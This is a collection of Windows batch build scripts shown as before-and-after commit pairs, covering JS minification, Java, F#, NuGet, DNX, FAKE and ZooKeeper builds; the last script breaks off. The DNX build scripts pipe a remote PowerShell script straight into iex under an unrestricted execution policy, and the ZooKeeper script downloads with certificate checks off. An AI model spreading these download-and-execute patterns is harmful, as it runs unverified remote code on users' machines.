echo 1 - poker.js
echo 2 - poker.optimized.js
echo 3 - poker.optimized.99.js
echo 4 - cancel
choice /c 1234 /m "Choice what source file you want build:"
@echo on

@if errorlevel 4 goto end
@if errorlevel 3 goto pokeropt99
@if errorlevel 2 goto pokeropt
@if errorlevel 1 goto poker

@goto end

:poker
@echo building...
java -jar yuicompressor-2.4.7.jar --type js --charset utf-8 -v -o ..\release\poker.min.js ..\source\poker.js
@goto end

:pokeropt
@echo building...
java -jar yuicompressor-2.4.7.jar --type js --charset utf-8 -v -o ..\release\poker.min.js ..\source\poker.optimized.js
@goto end

:pokeropt99
@echo building...
java -jar yuicompressor-2.4.7.jar --type js --charset utf-8 -v -o ..\release\poker.min.js ..\source\poker.optimized.99.js
@goto end

:end
@echo build completed.
pause

create build tool for minify js

create build tool for minify js


@echo off

set buildDir=target
set classesDir=%buildDir%\classes
set srcDir=src\main\java

if exist %classesDir% rmdir /S/Q %buildDir%
if exist %buildDir% rmdir /S/Q %buildDir%

mkdir %buildDir%
mkdir %classesDir%

%JAVA_HOME%\bin\javac -d %classesDir% %srcDir%\*.java

cd %classesDir%
%JAVA_HOME%\bin\jar -cfm ..\mboot.jar ..\..\manifest.txt *.*
cd ..\..

copy %buildDir%\mboot.jar ..

@echo off

set buildDir=target
set classesDir=%buildDir%\classes
set srcDir=src\main\java

if exist %classesDir% rmdir /S/Q %buildDir%
if exist %buildDir% rmdir /S/Q %buildDir%

mkdir %buildDir%
mkdir %classesDir%

dir /B /s %srcDir%\*.java >sources
%JAVA_HOME%\bin\javac -d %classesDir% @sources
del /F/Q sources

cd %classesDir%
%JAVA_HOME%\bin\jar -cfm ..\mboot.jar ..\..\manifest.txt *.*
cd ..\..

copy %buildDir%\mboot.jar ..

Fix mboot build.

Fix mboot build.

git-svn-id: 2c527eb49caa05e19d6b2be874bf74fa9d7ea670@163243 13f79535-47bb-0310-9956-ffa450edef68


set cleantarget=
IF "%1%"=="FULL" SET cleantarget=clean

PUSHD %~dp0\..

PUSHD acqEngine
call build.bat
POPD

PUSHD autofocus
call ant -buildfile build.xml %cleantarget% compile build
POPD

echo building pixelcalibrator
pushd plugins\PixelCalibrator
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\Projector
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\Recall
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\SlideExplorer
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\StageControl
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\Big
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\MultiCamera
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\SplitView
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\ClojureEditor
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\CRISP
call build.bat
popd

rem pushd plugins\Bleach
rem call ant -buildfile build.xml %cleantarget% compile build
rem popd

rem pushd plugins\Tracker
rem call ant -buildfile build.xml %cleantarget% compile build
rem popd

pushd plugins\DataBrowser
call build.bat
popd

pushd plugins\DLLAutoReloader
call build.bat
popd

pushd plugins\SlideExplorer2
call build.bat
popd

pushd plugins\Gaussian
call build.bat
popd

pushd plugins\NewImageFlipper
call build.bat
popd

pudsh plugins\BFCorrector
call build.bat
popd

POPD

set cleantarget=
IF "%1%"=="FULL" SET cleantarget=clean

PUSHD %~dp0\..

PUSHD acqEngine
call build.bat
POPD

PUSHD autofocus
call ant -buildfile build.xml %cleantarget% compile build
POPD

echo building pixelcalibrator
pushd plugins\PixelCalibrator
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\Projector
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\Recall
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\SlideExplorer
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\StageControl
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\Big
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\MultiCamera
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\SplitView
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\ClojureEditor
call ant -buildfile build.xml %cleantarget% compile build
popd

pushd plugins\CRISP
call build.bat
popd

rem pushd plugins\Bleach
rem call ant -buildfile build.xml %cleantarget% compile build
rem popd

rem pushd plugins\Tracker
rem call ant -buildfile build.xml %cleantarget% compile build
rem popd

pushd plugins\DataBrowser
call build.bat
popd

pushd plugins\DLLAutoReloader
call build.bat
popd

pushd plugins\SlideExplorer2
call build.bat
popd

pushd plugins\Gaussian
call build.bat
popd

pushd plugins\NewImageFlipper
call build.bat
popd

pushd plugins\BFCorrector
call build.bat
popd

POPD

fix typo

fix typo

git-svn-id: 03a8048b5ee8463be5048a3801110fb50f378627@10420 d0ab736e-dc22-4aeb-8dc9-08def0aa14fd


for /d %A in ("I:\EmerMgmt\*") DO (
  Echo "%A" >>dir.txt
  Echo "" >> dir.txt
  dir "%A" /B /O:GN >> dir.txt
  Echo "" >> dir.txt
  )

Create AllFiles.bat

Create AllFiles.bat


@REM Copyright (c) Microsoft. All rights reserved.
@REM Licensed under the MIT license. See LICENSE file in the project root for full license information.

setlocal

set build-root=%~dp0..
rem // resolve to fully qualified path
for %%i in ("%build-root%") do set build-root=%%~fi

REM -- C --
cd %build-root%\tools

call build_dotnet.cmd %*
if errorlevel 1 goto :eof
cd %build-root%

call build_uwp.cmd %*
if errorlevel 1 goto :eof
cd %build-root%

@REM Copyright (c) Microsoft. All rights reserved.
@REM Licensed under the MIT license. See LICENSE file in the project root for full license information.

setlocal

set build-root=%~dp0..
rem // resolve to fully qualified path
for %%i in ("%build-root%") do set build-root=%%~fi

REM -- C --
cd %build-root%\tools

call build_dotnet.cmd %*
if errorlevel 1 goto :eof

call build_uwp.cmd %*
if errorlevel 1 goto :eof
cd %build-root%

Fix csharp build failure

Fix csharp build failure


set /p versionNumber=

"C:\Program Files\Microsoft F#\v4.0\fsc.exe" -o:Unquote.dll --noframework --define:TRACE --optimize+ -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Compiler.dll" -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Compiler.Interactive.Settings.dll" -r:"C:\Program Files\FSharp-2.0.0.0\v4.0\bin\FSharp.Core.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Linq.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Metadata.dll" -r:"C:\Program Files\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Parallel.Seq.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\mscorlib.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Core.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.dll" -r:"C:\Program Files\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Numerics.dll" --target:library --warn:3 --warnaserror:76 --vserrors --LCID:1033 --utf8output --fullpaths --flaterrors "C:\Users\Stephen\AppData\Local\Temp\.NETFramework,Version=v4.0.AssemblyAttributes.fs" Unquote\Utils\Misc.fs Unquote\Utils\Regex.fs Unquote\Utils\Printf.fs Unquote\Utils\ListExt.fs Unquote\ExtraReflection.fs Unquote\ExtraPatterns.fs Unquote\Sprint.fs Unquote\Reduce.fs Unquote\TypeExt.fs Unquote\ExprExt.fs Unquote\Operators.fs

7z a -tzip builds\Unquote-%versionNumber%.zip Unquote.dll LICENSE NOTICE
del Unquote.dll
pause

set /p versionNumber=

"c:\Program Files (x86)\Microsoft F#\v4.0\fsc.exe" -o:Utils.dll --noframework --define:TRACE --optimize+ -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\FSharp\2.0\Runtime\v4.0\FSharp.Core.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\mscorlib.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Core.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Numerics.dll" --target:library --warn:3 --warnaserror:76 --vserrors --LCID:1033 --utf8output --fullpaths --flaterrors "C:\Users\Stephen\AppData\Local\Temp\.NETFramework,Version=v4.0.AssemblyAttributes.fs" Utils\AssemblyInfo.fs Utils\MiscUtils.fs Utils\RegexUtils.fs Utils\PrintfUtils.fs Utils\ListExtensions.fs

"c:\Program Files (x86)\Microsoft F#\v4.0\fsc.exe" -o:Unquote.dll --noframework --define:TRACE --doc:Unquote.XML --optimize+ -r:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\FSharp.Compiler\v4.0_4.0.0.0__b03f5f7f11d50a3a\FSharp.Compiler.dll" -r:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\FSharp.Compiler.Interactive.Settings\v4.0_4.0.0.0__b03f5f7f11d50a3a\FSharp.Compiler.Interactive.Settings.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\FSharp\2.0\Runtime\v4.0\FSharp.Core.dll" -r:"C:\Program Files (x86)\FSharpPowerPack-2.0.0.0\\bin\FSharp.PowerPack.Metadata.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\mscorlib.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Core.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.dll" -r:"C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\.NETFramework\v4.0\System.Numerics.dll" -r:"Utils.dll" --target:library --warn:3 --warnaserror:76 --vserrors --LCID:1033 --utf8output --fullpaths --flaterrors --staticlink:FSharp.PowerPack.Metadata --staticlink:Utils "C:\Users\Stephen\AppData\Local\Temp\.NETFramework,Version=v4.0.AssemblyAttributes.fs" Unquote\AssemblyInfo.fs Unquote\DynamicOperators.fs Unquote\Evaluation.fs Unquote\ExtraReflection.fs Unquote\ExtraPatterns.fs Unquote\Decompilation.fs Unquote\Reduction.fs Unquote\Extensions.fs Unquote\Operators.fs Unquote\Assertions.fs

7z a -tzip builds\Unquote-%versionNumber%.zip Unquote.dll Unquote.XML LICENSE NOTICE
del Unquote.XML
del Unquote.dll
del Utils.dll
pause

update build.bat, going for 2.0.0 release soon


@ECHO OFF
@SETLOCAL

@ECHO.
@ECHO  **** STARTING BUILD  ****

@SET THIS_SCRIPT_FOLDER=%~dp0
CD "%THIS_SCRIPT_FOLDER%"
@SET ARTIFACTS=artifacts
@SET NUGET_COMMAND=src\.nuget\nuget.exe
@SET PACKAGE_VERSION=%APPVEYOR_BUILD_VERSION%

IF "%PACKAGE_VERSION%"=="" (
	SET PACKAGE_VERSION=0.0.1
)

@SET NUGET_PACKAGE_ID=Serilog.Sinks.Kafka
@SET SOLUTION=%THIS_SCRIPT_FOLDER%src\Serilog.Sinks.Kafka.sln
@SET PROJECT_FOLDER=src\%NUGET_PACKAGE_ID%
@SET MSBUILDARGS=/target:Rebuild /fileLogger /verbosity:minimal /ToolsVersion:14.0
@SET NUGET_PACKAGE_FOLDER=%ARTIFACTS%\%NUGET_PACKAGE_ID%
@SET DOTNET_FRAMEWORK=net40
@SET NUGET_FRAMEWORK_FOLDER=%NUGET_PACKAGE_FOLDER%\lib\%DOTNET_FRAMEWORK%

RMDIR /Q /S "%ARTIFACTS%" >nul 2>&1
MKDIR "%ARTIFACTS%" ||  GOTO BuildFailed

"%NUGET_COMMAND%" restore "%SOLUTION%"  -Verbosity quiet ||  GOTO BuildFailed

@ECHO.
@ECHO  **** BUIILD DEBUG  ****
MSBuild "%SOLUTION%" %MSBUILDARGS% ||  GOTO BuildFailed
@COPY msbuild.log "%ARTIFACTS%\msbuild.DEBUG.log" ||  GOTO BuildFailed

@ECHO.
@ECHO  **** BUIILD RELEASE  ****
MSBuild "%SOLUTION%" %MSBUILDARGS% /property:Configuration=Release ||  GOTO BuildFailed
@COPY msbuild.log "%ARTIFACTS%\msbuild.RELEASE.log" ||  GOTO BuildFailed

@ECHO.
@ECHO  **** CREATE NUGET PACKAGE  ****
MKDIR "%NUGET_FRAMEWORK_FOLDER%" ||  GOTO BuildFailed
@COPY "%PROJECT_FOLDER%\bin\Release\%NUGET_PACKAGE_ID%.??l" "%NUGET_FRAMEWORK_FOLDER%\" ||  GOTO BuildFailed
@COPY "%PROJECT_FOLDER%\bin\Release\%NUGET_PACKAGE_ID%.pdb" "%NUGET_FRAMEWORK_FOLDER%\" ||  GOTO BuildFailed
@COPY "%PROJECT_FOLDER%\bin\Release\CodeContracts" "%NUGET_FRAMEWORK_FOLDER%\" ||  GOTO BuildFailed
@COPY "%PROJECT_FOLDER%\bin\Release\%NUGET_PACKAGE_ID%.nuspec" "%NUGET_PACKAGE_FOLDER%\" ||  GOTO BuildFailed

%NUGET_COMMAND% pack "%NUGET_PACKAGE_FOLDER%\%NUGET_PACKAGE_ID%.nuspec" -Version %PACKAGE_VERSION% ^
     -NonInteractive -OutputDirectory %ARTIFACTS% -Properties version=%PACKAGE_VERSION%||  GOTO BuildFailed

@ECHO.
@ECHO **** BUILD SUCCESSFUL ****
GOTO:EOF

:BuildFailed
@ECHO.
@ECHO *** BUILD FAILED ***
EXIT /B -1

@ECHO OFF
@SETLOCAL

@ECHO.
@ECHO  **** STARTING BUILD  ****

@SET THIS_SCRIPT_FOLDER=%~dp0
CD "%THIS_SCRIPT_FOLDER%"
@SET ARTIFACTS=artifacts
@SET NUGET_COMMAND=src\.nuget\nuget.exe
@SET PACKAGE_VERSION=%APPVEYOR_BUILD_VERSION%

IF "%PACKAGE_VERSION%"=="" (
	SET PACKAGE_VERSION=0.0.1
)

@SET NUGET_PACKAGE_ID=Serilog.Sinks.Kafka
@SET SOLUTION=%THIS_SCRIPT_FOLDER%src\Serilog.Sinks.Kafka.sln
@SET PROJECT_FOLDER=src\%NUGET_PACKAGE_ID%
@SET MSBUILDARGS=/target:Rebuild /fileLogger /verbosity:minimal /ToolsVersion:14.0
@SET NUGET_PACKAGE_FOLDER=%ARTIFACTS%\%NUGET_PACKAGE_ID%
@SET DOTNET_FRAMEWORK=net40
@SET NUGET_FRAMEWORK_FOLDER=%NUGET_PACKAGE_FOLDER%\lib\%DOTNET_FRAMEWORK%

RMDIR /Q /S "%ARTIFACTS%" >nul 2>&1
MKDIR "%ARTIFACTS%"

"%NUGET_COMMAND%" restore "%SOLUTION%"  -Verbosity quiet ||  GOTO BuildFailed

@ECHO.
@ECHO  **** BUIILD DEBUG  ****
MSBuild "%SOLUTION%" %MSBUILDARGS% ||  GOTO BuildFailed
COPY msbuild.log "%ARTIFACTS%\msbuild.DEBUG.log" ||  GOTO BuildFailed

@ECHO.
@ECHO  **** BUIILD RELEASE  ****
MSBuild "%SOLUTION%" %MSBUILDARGS% /property:Configuration=Release ||  GOTO BuildFailed
COPY msbuild.log "%ARTIFACTS%\msbuild.RELEASE.log" ||  GOTO BuildFailed

@ECHO.
@ECHO  **** CREATE NUGET PACKAGE  ****
MKDIR "%NUGET_FRAMEWORK_FOLDER%" ||  GOTO BuildFailed
COPY "%PROJECT_FOLDER%\bin\Release\%NUGET_PACKAGE_ID%.??l" "%NUGET_FRAMEWORK_FOLDER%\" ||  GOTO BuildFailed
COPY "%PROJECT_FOLDER%\bin\Release\%NUGET_PACKAGE_ID%.pdb" "%NUGET_FRAMEWORK_FOLDER%\" ||  GOTO BuildFailed
MKDIR "%NUGET_FRAMEWORK_FOLDER%\CodeContracts\" ||  GOTO BuildFailed
COPY "%PROJECT_FOLDER%\bin\Release\CodeContracts\*.*" "%NUGET_FRAMEWORK_FOLDER%\CodeContracts\" ||  GOTO BuildFailed
COPY "%PROJECT_FOLDER%\bin\Release\%NUGET_PACKAGE_ID%.nuspec" "%NUGET_PACKAGE_FOLDER%\" ||  GOTO BuildFailed

%NUGET_COMMAND% pack "%NUGET_PACKAGE_FOLDER%\%NUGET_PACKAGE_ID%.nuspec" -Version %PACKAGE_VERSION% ^
     -NonInteractive -OutputDirectory %ARTIFACTS% -Properties version=%PACKAGE_VERSION%||  GOTO BuildFailed

@ECHO.
@ECHO **** BUILD SUCCESSFUL ****
GOTO:EOF

:BuildFailed
@ECHO.
@ECHO *** BUILD FAILED ***
EXIT /B -1

Fix adding Code Contract assembly to NuGet Package.


@echo off

net session >nul 2>&1
if %errorLevel% == 0 (

cd %~dp0

SET CACHED_DNVM=%USERPROFILE%\.dnx\bin\dnvm.cmd

IF EXIST %CACHED_DNVM% goto installdnx
echo Downloading latest version of DNVM...
IF NOT EXIST %USERPROFILE%\.dnx md %USERPROFILE%\.dnx
IF NOT EXIST %USERPROFILE%\.dnx\bin md %USERPROFILE%\.dnx\bin
@powershell -NoProfile -ExecutionPolicy unrestricted -Command "&{$Branch='dev';iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/aspnet/Home/dev/dnvminstall.ps1'))}"

:installdnx
%USERPROFILE%\.dnx\bin\dnvm install 1.0.0-beta4 -arch x86 -persistent -a beta4

:restore
dnu restore --quiet

:clean
IF EXIST src\Compose\bin\Release DEL src\Compose\bin\Release /Q

:build
dnu pack src\Compose --configuration Release --quiet

:test
dnx tests\Compose.Tests\ test

:artifacts
IF NOT EXIST artifacts md artifacts
IF NOT EXIST artifacts\packages md artifacts\packages
XCOPY src\Compose\bin\Release\*.nupkg artifacts\packages /y

) else (
echo Unable to complete. Insufficient privileges.
EXIT /B 1
)

@echo off

net session >nul 2>&1
if %errorLevel% == 0 (

cd %~dp0

SET CACHED_DNVM=%USERPROFILE%\.dnx\bin\dnvm.cmd

echo Downloading latest version of DNVM...
IF NOT EXIST %USERPROFILE%\.dnx md %USERPROFILE%\.dnx
IF NOT EXIST %USERPROFILE%\.dnx\bin md %USERPROFILE%\.dnx\bin
@powershell -NoProfile -ExecutionPolicy unrestricted -Command "&{$Branch='dev';iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/aspnet/Home/dev/dnvminstall.ps1'))}"

%USERPROFILE%\.dnx\bin\dnvm install 1.0.0-beta6-12100 -arch x86 -r clr -unstable
dnu restore --quiet
IF EXIST src\Compose\bin\Release DEL src\Compose\bin\Release /Q
dnu pack src\Compose --configuration Release --quiet
dnx tests\Compose.Tests\ test

IF NOT EXIST artifacts md artifacts
IF NOT EXIST artifacts\packages md artifacts\packages
XCOPY src\Compose\bin\Release\*.nupkg artifacts\packages /y

) else (
echo Unable to complete. Insufficient privileges.
EXIT /B 1
)

Build corrections

Build corrections


@echo off

pushd %~dp0

SET PACKAGEPATH=.\packages\
SET NUGET=.\tools\nuget\NuGet.exe
SET NUGETOPTIONS=-ConfigFile .\tools\nuget\NuGet.Config -OutputDirectory %PACKAGEPATH% -ExcludeVersion

IF NOT EXIST %PACKAGEPATH%FAKE\Ver_4.25.4 (
  RD /S/Q %PACKAGEPATH%FAKE
  %NUGET% install FAKE -Version 4.25.4 %NUGETOPTIONS%
  COPY NUL %PACKAGEPATH%FAKE\Ver_4.25.4
)

IF NOT EXIST %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.2 (
  RD /S/Q %PACKAGEPATH%FAKE.BuildLib
  %NUGET% install FAKE.BuildLib -Version 0.3.2 %NUGETOPTIONS%
  COPY NUL %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.2
)

set encoding=utf-8
"%PACKAGEPATH%FAKE\tools\FAKE.exe" build.fsx %*

popd

@echo off

pushd %~dp0

SET PACKAGEPATH=.\packages\
SET NUGET=.\tools\nuget\NuGet.exe
SET NUGETOPTIONS=-ConfigFile .\tools\nuget\NuGet.Config -OutputDirectory %PACKAGEPATH% -ExcludeVersion

IF NOT EXIST %PACKAGEPATH%FAKE\Ver_4.25.4 (
  RD /S/Q %PACKAGEPATH%FAKE
  %NUGET% install FAKE -Version 4.25.4 %NUGETOPTIONS%
  COPY NUL %PACKAGEPATH%FAKE\Ver_4.25.4
)

IF NOT EXIST %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.3 (
  RD /S/Q %PACKAGEPATH%FAKE.BuildLib
  %NUGET% install FAKE.BuildLib -Version 0.3.3 %NUGETOPTIONS%
  COPY NUL %PACKAGEPATH%FAKE.BuildLib\Ver_0.3.3
)

set encoding=utf-8
"%PACKAGEPATH%FAKE\tools\FAKE.exe" build.fsx %*

popd

Update BuildLib 0.3.3

Update BuildLib 0.3.3


@ECHO OFF

SET bin_dir=%~dp0
SET TOP_DIR=%bin_dir%\..\..
PUSHD "%TOP_DIR%"
SET TOP_DIR=%CD%
POPD
SET INSTALL_DIR=%~f1
SET PORT=%2
SET zk=zookeeper-3.4.6

IF "%INSTALL_DIR%" EQU "" (
    set INSTALL_DIR=%TOP_DIR%\zk
)

IF "%PORT%" EQU "" (
    SET PORT=12181
)

CALL "%bin_dir%\pre-require.cmd"

IF NOT EXIST "%INSTALL_DIR%" mkdir "%INSTALL_DIR%"

PUSHD "%INSTALL_DIR%"

IF NOT EXIST "%INSTALL_DIR%\%zk%" (
    CALL "%bin_dir%\wget.exe" --no-check-certificate https://github.com/shengofsun/packages/raw/master/%zk%.tar.gz?raw=true
    IF NOT EXIST %zk%.tar.gz (
        CALL "%bin_dir%\echoc.exe" 4 download zookeeper package failed from  https://github.com/shengofsun/packages/raw/master/%zk%.tar.gz?raw=true
        POPD
        EXIT /B 1
    )

    CALL "%bin_dir%\echoc.exe" 2 "Decompressing %zk% to \"%INSTALL_DIR%\""
    CALL "%bin_dir%\7z.exe" x %zk%.tar.gz -y -o"%INSTALL_DIR%" > nul
    CALL "%bin_dir%\7z.exe" x %zk%.tar -y -o"%INSTALL_DIR%" > nul
)

SET ZOOKEEPER_HOME=%INSTALL_DIR%\%zk%
SET ZOOKEEPER_PORT=%PORT%
SET ZK_SRC_CONFIG=%ZOOKEEPER_HOME%\conf\zoo_sample.cfg
SET ZK_DST_CONFIG=%ZOOKEEPER_HOME%\conf\zoo.cfg

ECHO # GENERATD BY rDSN SCRIPT > "%ZK_DST_CONFIG%"

for /F  %%A in ("%ZK_SRC_CONFIG%") do (
    SET "line=%%A"
    setlocal enabledelayedexpansion
    set "line=!line:2181=12181!"
    if defined line (
        echo(!line! >> "%ZK_DST_CONFIG%"
    )
    endlocal
)

IF NOT EXIST "%ZOOKEEPER_HOME%\data" @mkdir "%ZOOKEEPER_HOME%\data"

REM powershell -command "Start-Process %ZOOKEEPER_HOME%\bin\zkServer.cmd"
powershell -command "Start-Process -FilePath cmd.exe  -ArgumentList '/C title zk-%PORT%-%ZOOKEEPER_HOME%\bin\zkServer.cmd&&\"%ZOOKEEPER_HOME%\bin\zkServer.cmd\"'"

REM CALL start cmd.exe /k "title zk-%PORT%&& %ZOOKEEPER_HOME%\bin\zkServer.cmd"

POPD

GOTO exit

:usage
    ECHO run.cmd start_zk [INSTALL_DIR = .\zk [PORT = 12181]]
    GOTO:EOF

:exit
    EXIT /B 0

@ECHO OFF

SET bin_dir=%~dp0
SET TOP_DIR=%bin_dir%\..\..
PUSHD "%TOP_DIR%"
SET TOP_DIR=%CD%
POPD
SET INSTALL_DIR=%~f1
SET PORT=%2
SET zk=zookeeper-3.4.6

IF "%INSTALL_DIR%" EQU "" (
    set INSTALL_DIR=%TOP_DIR%\zk
)

IF "%PORT%" EQU "" (
    SET PORT=12181
)

CALL "%bin_dir%\pre-require.cmd"

IF NOT EXIST "%INSTALL_DIR%" mkdir "%INSTALL_DIR%"

PUSHD "%INSTALL_DIR%"

IF NOT EXIST "%INSTALL_DIR%\%zk%" (
    CALL "%bin_dir%\wget.exe" --no-check-certificate https://github.com/shengofsun/packages/raw/master/%zk%.tar.gz?raw=true
    IF NOT EXIST %zk%.tar.gz (
        CALL "%bin_dir%\echoc.exe" 4 download zookeeper package failed from  https://github.com/shengofsun/packages/raw/master/%zk%.tar.gz?raw=true
        POPD
        EXIT /B 1
    )

    CALL "%bin_dir%\echoc.exe" 2 "Decompressing %zk% to \"%INSTALL_DIR%\""
    CALL "%bin_dir%\7z.exe" x %zk%.tar.gz -y -o"%INSTALL_DIR%" > nul
    CALL "%bin_dir%\7z.exe" x %zk%.tar -y -o"%INSTALL_DIR%" > nul
)

SET ZOOKEEPER_HOME=%INSTALL_DIR%\%zk%
SET ZOOKEEPER_PORT=%PORT%
SET ZK_SRC_CONFIG=%ZOOKEEPER_HOME%\conf\zoo_sample.cfg
SET ZK_DST_CONFIG=%ZOOKEEPER_HOME%\conf\zoo.cfg

ECHO # GENERATD BY rDSN SCRIPT > "%ZK_DST_CONFIG%"

FOR /F "usebackq" %%A in ("%ZK_SRC_CONFIG%") do (
    SET "line=%%A"
    setlocal enabledelayedexpansion
    SET "line=!line:2181=12181!"
    IF defined line (
        ECHO(!line! >> "%ZK_DST_CONFIG%"
    )
    endlocal
)

IF NOT EXIST "%ZOOKEEPER_HOME%\data" @mkdir "%ZOOKEEPER_HOME%\data"

REM powershell -command "Start-Process %ZOOKEEPER_HOME%\bin\zkServer.cmd"
powershell -command "Start-Process -FilePath cmd.exe  -ArgumentList '/C title zk-%PORT%-%ZOOKEEPER_HOME%\bin\zkServer.cmd&&\"%ZOOKEEPER_HOME%\bin\zkServer.cmd\"'"

REM CALL start cmd.exe /k "title zk-%PORT%&& %ZOOKEEPER_HOME%\bin\zkServer.cmd"

POPD

GOTO exit

:usage
    ECHO run.cmd start_zk [INSTALL_DIR = .\zk [PORT = 12181]]
    GOTO:EOF

:exit
    EXIT /B 0

Fix the issue that rDSN source directory contains blanks.


@echo off
rem
rem Compile keymanweb and copy compiled javascript and resources to output/embedded folder
rem

rem Definition of global compile constants
set WEB_OUTPUT="..\output"
set EMBED_OUTPUT="..\embedded"
set SOURCE="."

rem Get build version -- if not building in TeamCity, then always use 300

if "%BUILD_NUMBER%"=="" (
  set BUILD=300
) else (
  set BUILD=%BUILD_NUMBER%
)

if "%CLOSURECOMPILERPATH%"=="" set CLOSURECOMPILERPATH=..\tools
if "%JAVA%"=="" set JAVA=java

set compiler=%CLOSURECOMPILERPATH%\compiler.jar
set compilecmd="%JAVA%" -jar "%compiler%"

if not exist %compiler% (
  echo File %compiler% does not exist: have you set the environment variable CLOSURECOMPILERPATH?
  exit /B 1
)

if "%1" == "-ui"   goto ui
if "%1" == "-test" goto web
if "%1" == "-embed" goto embed
if "%1" == "-web"  goto web
if "%1" == "-debug_embedded" goto debug_embedded
if not "%1" == "" goto help

echo Compiling build %BUILD%
echo.

rem
rem Check KeymanWeb dependencies before build
rem

:embed

echo Compile KMEI/KMEA build %BUILD%

rem Extended mkdir functionality - can recursively create directories as long as command extensions are enabled.
rem They usually are, but... just in case.
@echo off
setlocal enableextensions
if not exist %EMBED_OUTPUT% mkdir %EMBED_OUTPUT%
if not exist %EMBED_OUTPUT%\resources mkdir %EMBED_OUTPUT%\resources
endlocal

rem Compile supplementary plane string handing extensions
echo Compile SMP string extensions
del %EMBED_OUTPUT%\kmw-smpstring.js 2>nul
%compilecmd% --js %SOURCE%\kmwstring.js --compilation_level SIMPLE_OPTIMIZATIONS --js_output_file %EMBED_OUTPUT%\kmw-smpstring.js --warning_level VERBOSE
if not exist %EMBED_OUTPUT%\kmw-smpstring.js goto fail

del kmwtemp.js 2>nul
%compilecmd% --define __BUILD__=%BUILD% --externs %SOURCE%\kmwreleasestub.js --js %SOURCE%\kmwbase.js --js %SOURCE%\keymanweb.js --js %SOURCE%\kmwosk.js --js %SOURCE%\kmwembedded.js --js %SOURCE%\kmwcallback.js --js %SOURCE%\kmwkeymaps.js --js %SOURCE%\kmwlayout.js --js %SOURCE%\kmwinit.js --compilation_level SIMPLE_OPTIMIZATIONS  --js_output_file kmwtemp.js --warning_level VERBOSE
if not exist kmwtemp.js goto fail

echo Append SMP extensions
copy /B %EMBED_OUTPUT%\kmw-smpstring.js+kmwtemp.js %EMBED_OUTPUT%\keymanweb.js >nul
del kmwtemp.js

echo Compiled embedded application saved as keymanweb.js

rem Update any changed resources

echo Copy or update resources
xcopy %SOURCE%\resources\*.* %EMBED_OUTPUT%\resources /D /E /Y  >nul

rem Update build number if successful
echo.
echo KMEA/KMEI build %BUILD% compiled and saved.
echo.

if "%1" == "-embed" goto done

:web

rem Extended mkdir functionality - can recursively create directories as long as command extensions are enabled.
rem They usually are, but... just in case.
@echo off
setlocal enableextensions
if not exist %WEB_OUTPUT% mkdir %WEB_OUTPUT%
if not exist %WEB_OUTPUT%\resources mkdir %WEB_OUTPUT%\resources
endlocal

rem Compile supplementary plane string handing extensions
echo Compile SMP string extensions
del %WEB_OUTPUT%\kmw-smpstring.js 2>nul
%compilecmd% --js %SOURCE%\kmwstring.js --compilation_level SIMPLE_OPTIMIZATIONS --js_output_file %WEB_OUTPUT%\kmw-smpstring.js --warning_level VERBOSE
if not exist %WEB_OUTPUT%\kmw-smpstring.js goto fail

rem Compile KeymanWeb code modules for native keymanweb use, stubbing out and removing references to debug functions
echo Compile Keymanweb

del %WEB_OUTPUT%\kmwtemp.js 2>nul
